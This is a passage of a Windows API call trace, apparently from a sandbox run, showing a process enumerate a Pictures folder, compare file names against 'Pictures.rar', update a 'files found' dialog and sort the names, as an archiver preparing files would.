(in: lpMsg=0xf00f8d4980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8d4980) returned 1 [0062.250] GetFocus () returned 0x102e2 [0062.250] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8d4980) returned 0 [0062.250] GetKeyState (nVirtKey=16) returned 0 [0062.250] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8d4980) returned 0 [0062.250] TranslateMessage (lpMsg=0xf00f8d4980) returned 0 [0062.250] DispatchMessageW (lpMsg=0xf00f8d4980) returned 0x0 [0062.250] NtdllDefWindowProc_W () returned 0x0 [0062.250] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.250] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x22) returned 0x28b084fb3c0 [0062.250] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="g6r96fa7GyN6.gif", cchCount2=-1) returned 3 [0062.250] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x22) returned 0x28b084fb1b0 [0062.250] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="gTXyE1NkEEb.jpg", cchCount2=-1) returned 3 [0062.250] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084fb0f0 [0062.250] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="H6PwCN3oyZKOwFQ.png", cchCount2=-1) returned 3 [0062.250] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x28) returned 0x28b084fafd0 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="H7Jzn2.png", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084edb00 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="hh1Bz.png", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x14) returned 0x28b084eddc0 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x18) returned 0x28b084edc40 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="job -V_cE7uVrHssoWW.jpg", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6bd0 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="KmDsFaqbjMnNn4BN.jpg", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2a) returned 0x28b084d6c10 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="m3ksaTaVuXM_ADoCvA.jpg", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2e) returned 0x28b084d6c50 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x14) returned 0x28b084edb20 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Pe_4G6TNHBiw7.gif", cchCount2=-1) returned 3 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x24) returned 0x28b084fb120 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="q0 y.bmp", cchCount2=-1) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x12) returned 0x28b084edb40 [0062.251] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="QX41YSfi6.bmp", cchCount2=-1) returned 1 [0062.252] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1c) returned 0x28b084fb3f0 [0062.252] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Saved Pictures", cchCount2=-1) returned 1 [0062.252] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1e) returned 0x28b084fb150 [0062.252] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1010) returned 0x28b08504770 [0062.252] FindFirstFileW (in: lpFileName="Saved Pictures\\*", lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0x28b084f6990 [0062.252] FindNextFileW (in: hFindFile=0x28b084f6990, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.252] FindNextFileW (in: hFindFile=0x28b084f6990, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.252] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x36) returned 0x28b084d6c90 [0062.252] FindNextFileW (in: hFindFile=0x28b084f6990, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0 [0062.252] GetLastError () returned 0x12 [0062.252] FindClose (in: hFindFile=0x28b084f6990 | out: hFindFile=0x28b084f6990) returned 1 [0062.252] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08504770 | out: hHeap=0x28b08430000) returned 1 [0062.252] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1) returned 1 [0062.252] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.252] GetLastError () returned 0x12 [0062.252] SetLastError (dwErrCode=0x12) [0062.252] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8d4650, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.253] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0062.253] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8d3200, nMaxCount=2560 | out: lpString="15 files found") returned 14 [0062.253] SetWindowTextW (hWnd=0x102c4, lpString="30 files found") returned 1 [0062.253] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0062.253] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8d3200, nMaxCount=2560 | out: lpString="") returned 0 [0062.253] GetTickCount () returned 0x257ca [0062.253] PeekMessageW (in: lpMsg=0xf00f8d49f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8d49f0) returned 1 [0062.253] GetMessageW (in: lpMsg=0xf00f8d4980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8d4980) returned 1 [0062.253] GetFocus () returned 0x102e2 [0062.253] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8d4980) returned 1 [0062.254] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.254] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b08500480, Size=0x1b00) returned 0x28b08504770 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x26) returned 0x28b084fb210 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1a) returned 0x28b084fb180 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x18) returned 0x28b084edb60 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6690 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x26) returned 0x28b084fb4b0 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="yova8.bmp", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x14) returned 0x28b084edb80 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x14) returned 0x28b084edf80 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2c) returned 0x28b084d6cd0 [0062.254] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1) returned 1 [0062.255] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1a) returned 0x28b084fb1e0 [0062.255] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="zdKqdR.png", cchCount2=-1) returned 1 [0062.255] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084edd60 [0062.255] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="zoYWy0tnNuqg-Zdh4.gif", cchCount2=-1) returned 1 [0062.255] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2c) returned 0x28b084d6490 [0062.255] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0 [0062.255] GetLastError () returned 0x12 [0062.255] FindClose (in: hFindFile=0x28b084f6f90 | out: hFindFile=0x28b084f6f90) returned 1 [0062.255] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08502740 | out: hHeap=0x28b08430000) returned 1 [0062.255] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.255] GetLastError () returned 0x12 [0062.255] SetLastError (dwErrCode=0x12) [0062.255] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8d4690, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.255] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0062.255] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8d3240, nMaxCount=2560 | out: lpString="30 files found") returned 14 [0062.255] SetWindowTextW (hWnd=0x102c4, lpString="41 files found") returned 1 [0062.256] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0062.256] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8d3240, nMaxCount=2560 | out: lpString="") returned 0 [0062.256] GetTickCount () returned 0x257ca [0062.256] PeekMessageW (in: lpMsg=0xf00f8d4a30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8d4a30) returned 1 [0062.256] GetMessageW (in: lpMsg=0xf00f8d49c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8d49c0) returned 1 [0062.256] GetFocus () returned 0x102e2 [0062.256] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8d49c0) returned 1 [0062.256] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0062.256] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.256] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b084630c0 [0062.256] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0062.256] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CompareStringOrdinal") returned 0x7ff92fde8fb0 [0062.256] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="zdKqdR.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="H7Jzn2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="H6PwCN3oyZKOwFQ.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="yova8.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="gTXyE1NkEEb.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="g6r96fa7GyN6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="FiPd_4qvOx8j.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="dw0z-rObH0-zF2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="QX41YSfi6.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="Pe_4G6TNHBiw7.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="Cg4L5J0Hp5g.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="m3ksaTaVuXM_ADoCvA.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="Camera Roll\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="job -V_cE7uVrHssoWW.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="Camera Roll", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="hh1Bz.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="c9ZaReaCiTG.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="awTUht89JcK2K D7j9i.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="zdKqdR.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.257] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="awTUht89JcK2K D7j9i.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="aHz4Hx-PBeuX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="yova8.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.257] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="aHz4Hx-PBeuX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="A4ii4MOpBgpQwQBT.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.257] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="A4ii4MOpBgpQwQBT.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="q0 y.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="QX41YSfi6.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.257] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="KmDsFaqbjMnNn4BN.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.257] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="m3ksaTaVuXM_ADoCvA.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.257] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="zoYWy0tnNuqg-Zdh4.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="awTUht89JcK2K D7j9i.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="aHz4Hx-PBeuX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="q0 y.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="zdKqdR.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H6PwCN3oyZKOwFQ.png", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, 